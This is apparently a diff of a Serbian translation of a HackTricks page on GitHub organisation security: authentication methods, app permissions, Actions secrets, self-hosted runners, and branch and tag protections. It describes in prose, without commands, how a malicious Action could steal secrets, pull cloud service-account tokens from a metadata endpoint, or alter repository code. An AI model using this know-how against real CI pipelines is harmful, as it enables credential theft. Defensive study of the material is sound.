Možete **navesti timove kreirane u organizaciji** na _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova, morate pristupiti svakom roditeljskom timu.
|
||||
Možete **list the teams created in an organization** u _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli teams koji su children drugih teams morate pristupiti svakom parent team-u.
|
||||
|
||||
### Korisnici
|
||||
### Users
|
||||
|
||||
Korisnici organizacije mogu biti **navedeni** na _https://github.com/orgs/\<org_name>/people._
|
||||
Korisnici jedne organization mogu biti **listed** u _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
U informacijama o svakom korisniku možete videti **timove čiji je korisnik član**, i **repozitorijume kojima korisnik ima pristup**.
|
||||
U informacijama o svakom user-u možete videti **teams the user is member of**, i **repos the user has access to**.
|
||||
|
||||
## Github autentifikacija
|
||||
## Github Authentication
|
||||
|
||||
Github nudi različite načine za autentifikaciju na vašem nalogu i obavljanje radnji u vaše ime.
|
||||
Github nudi različite načine da se autentifikujete na vaš account i izvršavate akcije u vaše ime.
|
||||
|
||||
### Web pristup
|
||||
### Web Access
|
||||
|
||||
Pristupajući **github.com**, možete se prijaviti koristeći svoje **korisničko ime i lozinku** (i **2FA potencijalno**).
|
||||
Pristupanjem **github.com** možete se prijaviti koristeći **username and password** (i eventualno **2FA**).
|
||||
|
||||
### **SSH ključevi**
|
||||
### **SSH Keys**
|
||||
|
||||
Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogućavaju povezani **privatni ključ da obavlja radnje u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Možete konfigurisati vaš account sa jednim ili više public keys koje omogućavaju odgovarajućem **private key da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG ključevi**
|
||||
#### **GPG Keys**
|
||||
|
||||
Ne možete **imiti korisnika sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Ne možete **impersonate the user with these keys** ali ako ih ne koristite može se dogoditi da budete otkriveni za slanje commits bez potpisa. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Lični pristupni tokeni**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem nalogu**. Kada kreirate lični pristupni token, **korisnik** treba da **navede** **dozvole** koje **token** će imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Možete generisati personal access token da **date aplikaciji pristup vašem account-u**. Prilikom kreiranja personal access token korisnik treba da **specify** **permissions** koje će token imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth aplikacije
|
||||
### Oauth Applications
|
||||
|
||||
Oauth aplikacije mogu vas pitati za dozvole **da pristupite delu vaših github informacija ili da imitirate vas** da obavite neke radnje. Uobičajen primer ove funkcionalnosti je **dugme prijave sa github-om** koje možete pronaći na nekim platformama.
|
||||
Oauth applications mogu tražiti dozvole **to access part of your github information or to impersonate you** da izvrše neke akcije. Uobičajen primer ove funkcionalnosti je dugme **login with github** koje možete naći na nekim platformama.
|
||||
|
||||
- Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Možete videti **opsege koje Oauth aplikacije mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Možete videti pristup trećih strana aplikacija u **organizaciji** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Možete **create** vaše **Oauth applications** u [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Možete videti sve **Oauth applications that has access to your account** u [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Možete videti **scopes that Oauth Apps can ask for** u [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Možete videti third party access aplikacija u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Neke **preporuke za bezbednost**:
|
||||
|
||||
- **OAuth aplikacija** uvek treba da **deluje kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega.
|
||||
- Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika.
|
||||
- **Nemojte** praviti **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na _svim_** repozitorijumima autentifikovanog korisnika.
|
||||
- **Nemojte** praviti Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup.
|
||||
- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- An **OAuth App** bi uvek trebalo da **act as the authenticated GitHub user across all of GitHub** (na primer, kada obezbeđuje korisnička obaveštenja) i sa pristupom samo specificiranim scopes..
|
||||
- An OAuth App može biti korišćen kao identity provider omogućavajući "Login with GitHub" za autentifikovanog korisnika.
|
||||
- **Don't** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **single repository**. Sa `repo` OAuth scope-om, OAuth Apps mogu **act on _all**_ of the authenticated user's repositories.
|
||||
- **Don't** pravite OAuth App da predstavlja aplikaciju za vaš **team or company**. OAuth Apps autentifikuju kao **single user**, tako da ako jedna osoba kreira OAuth App za kompaniju i zatim napusti kompaniju, niko drugi neće imati pristup.
|
||||
- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github aplikacije
|
||||
### Github Applications
|
||||
|
||||
Github aplikacije mogu tražiti dozvole da **pristupite vašim github informacijama ili da imitirate vas** da obavite specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup.
|
||||
Github applications mogu tražiti dozvole da **access your github information or impersonate you** kako bi izvršile specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima će app imati pristup.
|
||||
|
||||
- Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu.
|
||||
- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
|
||||
- Možete kreirati svoju Github aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Možete videti sve **Github aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Ovo su **API krajnje tačke za Github aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekim od njih.
|
||||
- Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Da biste instalirali GitHub App, morate biti **organisation owner or have admin permissions** u repository.
|
||||
- GitHub App treba da **connect to a personal account or an organisation**.
|
||||
- Možete kreirati sopstvenu Github application u [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Možete videti sve **Github applications that has access to your account** u [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Ovo su **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od permissions App će moći da pristupi nekima od njih
|
||||
- Možete videti instalirane apps u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Neke preporuke za bezbednost:
|
||||
|
||||
- GitHub aplikacija treba da **preduzima radnje nezavisno od korisnika** (osim ako aplikacija koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali korisničke pristupne tokene sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje korisničkih pristupnih tokena](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**.
|
||||
- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
|
||||
- Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može.
|
||||
- **Nemojte koristiti GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tokene za identifikaciju korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari.
|
||||
- Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može.
|
||||
- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- GitHub App bi trebalo da **take actions independent of a user** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste učinili user-to-server access tokens sigurnijim, možete koristiti access tokens koji ističu nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Uverite se da se GitHub App integriše sa **specific repositories**.
|
||||
- GitHub App treba da **connect to a personal account or an organisation**.
|
||||
- Ne očekujte da GitHub App zna i radi sve što korisnik može.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da loguje korisnike _and_ radi druge stvari.
|
||||
- Ne pravite GitHub App ako želite _only_ da delujete kao GitHub user i radite sve što taj user može.
|
||||
- Ako koristite vašu app sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write permission na repository koji sadrži workflow fajl. Za više informacija, pogledajte "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Ovo **nije način za autentifikaciju u github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija.
|
||||
Ovo **nije način za autentifikaciju u github**, ali jedna **malicious** Github Action može dobiti **unauthorised access to github** i **u zavisnosti** od **privileges** dodeljenih Action mogu biti izvedeni različiti **attacks**. Vidi dole za više informacija.
|
||||
|
||||
## Git akcije
|
||||
## Git Actions
|
||||
|
||||
Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgraditi docker kontejner ili proveriti da PR ne sadrži tajne).
|
||||
Git actions omogućavaju automatizaciju **execution of code when an event happen**. Obično se izvršava kod koji je **nekačim načinom vezan za kod repository** (možda build-a docker container ili proverava da li PR ne sadrži secrets).
|
||||
|
||||
### Konfiguracija
|
||||
### Configuration
|
||||
|
||||
Na _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **konfiguraciju github akcija** za organizaciju.
|
||||
U _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **configuration of the github actions** za organization.
|
||||
|
||||
Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije.
|
||||
Moguće je zabraniti korišćenje github actions potpuno, **allow all github actions**, ili dozvoliti samo određene actions.
|
||||
|
||||
Takođe je moguće konfigurisati **ko treba da dobije odobrenje za pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene.
|
||||
Takođe je moguće konfigurisati **who needs approval to run a Github Action** i **permissions of the GITHUB_TOKEN** koje Github Action ima kada se izvrši.
|
||||
|
||||
### Git tajne
|
||||
### Git Secrets
|
||||
|
||||
Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**.
|
||||
Github Action obično treba neku vrstu secrets da bi komunicirao sa github ili third party aplikacijama. Da biste **izbegli stavljanje u clear-text** u repo, github omogućava da ih stavite kao **Secrets**.
|
||||
|
||||
Ove tajne mogu biti konfigurirane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao:
|
||||
Ovi secrets se mogu konfigurisati **za repo or for all the organization**. Zatim, da bi **Action mogao da pristupi secret-u** potrebno je da ga deklarišete kao:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -168,75 +168,91 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane.
|
||||
> Secrets **mogu biti pristupljeni samo iz Github Actions** koje su ih deklarisale.
|
||||
|
||||
> Kada su konfigurisane u repozitorijumu ili organizacijama, **korisnici Githuba više neće moći da im pristupe**, samo će moći da **promene**.
|
||||
> Kada su konfigurisane u repo-u ili u okviru organizacije, **korisnici github-a više neće moći da im pristupe**, moći će samo da ih **promene**.
|
||||
|
||||
Dakle, **jedini način da se ukradu github tajne je da se pristupi mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action).
|
||||
Dakle, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete da pristupite samo secrets deklarisanim za tu Action).
|
||||
|
||||
### Git Okruženja
|
||||
### Git Environments
|
||||
|
||||
Github omogućava kreiranje **okruženja** gde možete sačuvati **tajne**. Zatim, možete dati github akciji pristup tajnama unutar okruženja sa nečim poput:
|
||||
Github omogućava kreiranje **environments** gde možete sačuvati **secrets**. Zatim, možete dati github action pristup secrets unutar environment-a sa nečim poput:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\
|
||||
Takođe može postaviti **broj potrebnih recenzija** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave.
|
||||
Možete konfigurirati okruženje da bude **accessed** by **all branches** (default), **only protected** branches ili **specify** which branches mogu da mu pristupe.\
|
||||
Dodatno, zaštite okruženja uključuju:
|
||||
- **Required reviewers**: zadržava gate jobs koji ciljaju okruženje dok se ne odobri. Omogućite **Prevent self-review** da biste primenili princip četiri oka i na samo odobrenje.
|
||||
- **Deployment branches and tags**: ograničava koje grane/tagovi mogu deploy-ovati u okruženje. Preporučljivo je izabrati specifične grane/tagove i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" se odnosi na klasične branch protections i možda se neće ponašati očekivano ako koristite rulesets.
|
||||
- **Wait timer**: odlaže deploy-e za konfigurisani period.
|
||||
|
||||
Takođe se može podesiti **number of required reviews** pre nego što se **execute** **an action** koristeći **environment**, ili **wait** neko **time** pre nego što se dozvole deploy-evi da nastave.
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
Github akcija može biti **izvršena unutar github okruženja** ili može biti izvršena u **infrastrukturi treće strane** koju je konfigurisao korisnik.
|
||||
A Github Action može biti **executed inside the github environment** ili može biti izvršen u **third party infrastructure** koju konfiguriše korisnik.
|
||||
|
||||
Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi treće strane** jer obično bude **jeftinije**.
|
||||
Neke organizacije dozvoljavaju pokretanje Github Actions u **third party infrastructure** jer je to često **cheaper**.
|
||||
|
||||
Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Možete **list the self-hosted runners** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da potražite `runs-on: self-hosted` u yaml konfiguraciji Github akcije.
|
||||
Način da se pronađe koje se **Github Actions are being executed in non-github infrastructure** je da pretražite za `runs-on: self-hosted` u Github Action konfiguracionom yaml-u.
|
||||
|
||||
**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer se **generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada.
|
||||
Nije moguće da se Github Action organizacije izvršava unutar self hosted mašine druge organizacije zato što se pri konfiguraciji Runner-a **a unique token is generated for the Runner** koji određuje kojoj organizaciji runner pripada.
|
||||
|
||||
Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi.
|
||||
Ako je custom **Github Runner configured in a machine inside AWS or GCP**, na primer, Action **could have access to the metadata endpoint** i **steal the token of the service account** sa kojim mašina radi.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Github akciju** koja je **zla** i koja će **kompromitovati** **kontejner** u kojem se izvršava.
|
||||
Ako su sve akcije (ili jedna maliciozna akcija) dozvoljene, korisnik bi mogao upotrebiti **Github action** koja je **malicious** i kompromitovati **container** u kojem se izvršava.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Zla Github akcija** može biti **zloupotrebljena** od strane napadača da:
|
||||
> A **malicious Github Action** run može biti **abused** od strane napadača da:
|
||||
>
|
||||
> - **Ukrade sve tajne** kojima akcija ima pristup
|
||||
> - **Pomera se lateralno** ako se akcija izvršava unutar **infrastrukture treće strane** gde se može pristupiti SA tokenu koji se koristi za pokretanje mašine (verovatno putem usluge metapodataka)
|
||||
> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** gde se akcija izvršava ili **čak da ga izmeni**.
|
||||
> - **Steal all the secrets** kojima Action ima pristup
|
||||
> - **Move laterally** ako se Action izvršava unutar **third party infrastructure** gde se SA token koji se koristi za pokretanje mašine može dohvatiti (verovatno preko metadata service)
|
||||
> - **Abuse the token** koji koristi **workflow** da **steal the code of the repo** u kojem se Action izvršava ili čak **modify it**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**.
|
||||
Branch protections su dizajnirane da **not give complete control of a repository** korisnicima. Cilj je da se **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
**Zaštite grana repozitorijuma** mogu se pronaći na _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
The **branch protections of a repository** možete pronaći na _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu.
|
||||
> Nije **possible to set a branch protection at organization level**. Dakle, sve zaštite moraju biti deklarisane u svakom repo-u.
|
||||
|
||||
Različite zaštite mogu se primeniti na granu (kao na master):
|
||||
Razne zaštite se mogu primeniti na granu (npr. master):
|
||||
|
||||
- Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi:
|
||||
- **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod.
|
||||
- **Odbaciti odobrenja kada su novi commitovi poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga.
|
||||
- **Zahtevati recenzije od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu da ga odobre)
|
||||
- **Ograničiti ko može da odbaci recenzije pull zahteva.** Možete odrediti ljude ili timove koji mogu da odbace recenzije pull zahteva.
|
||||
- **Dozvoliti određenim akterima da zaobiđu zahteve pull zahteva**. Ovi korisnici će moći da zaobiđu prethodne restrikcije.
|
||||
- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajnih podataka u čistom tekstu).
|
||||
- **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti.
|
||||
- **Zahtevati potpisane commitove**. Commitovi moraju biti potpisani.
|
||||
- **Zahtevati linearnu istoriju.** Sprečava spajanje commitova da budu poslati na odgovarajuće grane.
|
||||
- **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije.
|
||||
- **Ograničiti ko može da šalje na odgovarajuće grane**. Ograničiti ko može da pošalje PR.
|
||||
- Možete **require a PR before merging** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti prisutne i druge zaštite:
|
||||
- **Require a number of approvals**. Veoma je često zahtevati 1 ili 2 osobe da odobre PR kako bi se sprečilo da jedna osoba direktno merge-uje kod.
|
||||
- **Dismiss approvals when new commits are pushed**. Ako nije omogućeno, korisnik može odobriti legitiman kod, a zatim dodati maliciozan kod i merge-ovati ga.
|
||||
- **Require approval of the most recent reviewable push**. Osigurava da svaki novi commit posle odobrenja (uključujući push-ove drugih saradnika) ponovo pokreće review tako da napadač ne može push-ovati izmene posle odobrenja i merge-ovati.
|
||||
- **Require reviews from Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "random" korisnici ne mogu odobriti).
|
||||
- **Restrict who can dismiss pull request reviews.** Možete specificirati osobe ili timove koji su dozvoljeni da dismiss-uju pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. Ovi korisnici će moći da zaobiđu prethodna ograničenja.
|
||||
- **Require status checks to pass before merging.** Neki check-ovi moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava SAST rezultate). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app može spoof-ovati check preko Checks API, a mnogi botovi prihvataju skip direktive (npr. "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. Svi komentari na kod moraju biti rešeni pre nego što se PR može merge-ovati.
|
||||
- **Require signed commits**. Commits moraju biti potpisani.
|
||||
- **Require linear history.** Sprečava push-ovanje merge commit-ova na grane koje se poklapaju.
|
||||
- **Include administrators**. Ako ovo nije postavljeno, administratori mogu zaobići ograničenja.
|
||||
- **Restrict who can push to matching branches**. Ograničava ko može poslati PR.
|
||||
|
||||
> [!NOTE]
|
||||
> Kao što vidite, čak i ako uspete da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline.
|
||||
> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repos might be protected avoiding you to pushing code to master** na primer, da biste kompromitovali CI/CD pipeline.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Tagovi (npr. latest, stable) su po defaultu mutable. Da biste primenili tok rada sa četiri oka na update tagova, zaštitite tagove i povežite zaštite kroz enviroments i grane:
|
||||
|
||||
1) Na pravilu za zaštitu tagova, omogućite **Require deployments to succeed** i zahtevajte uspešan deploy u zaštićeno okruženje (npr. prod).
|
||||
2) U ciljanom okruženju, ograničite **Deployment branches and tags** na release branch (npr. main) i opciono konfigurišite **Required reviewers** sa **Prevent self-review**.
|
||||
3) Na release grani, konfigurišite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**.
|
||||
|
||||
Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje releasove menjajući workflow YAML, jer su deployment gate-ovi sprovedeni van workflow-a.
|
||||
|
||||
## References
|
||||
|
||||
@@ -245,5 +261,10 @@ Različite zaštite mogu se primeniti na granu (kao na master):
|
||||
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
|
||||
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
|
||||
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user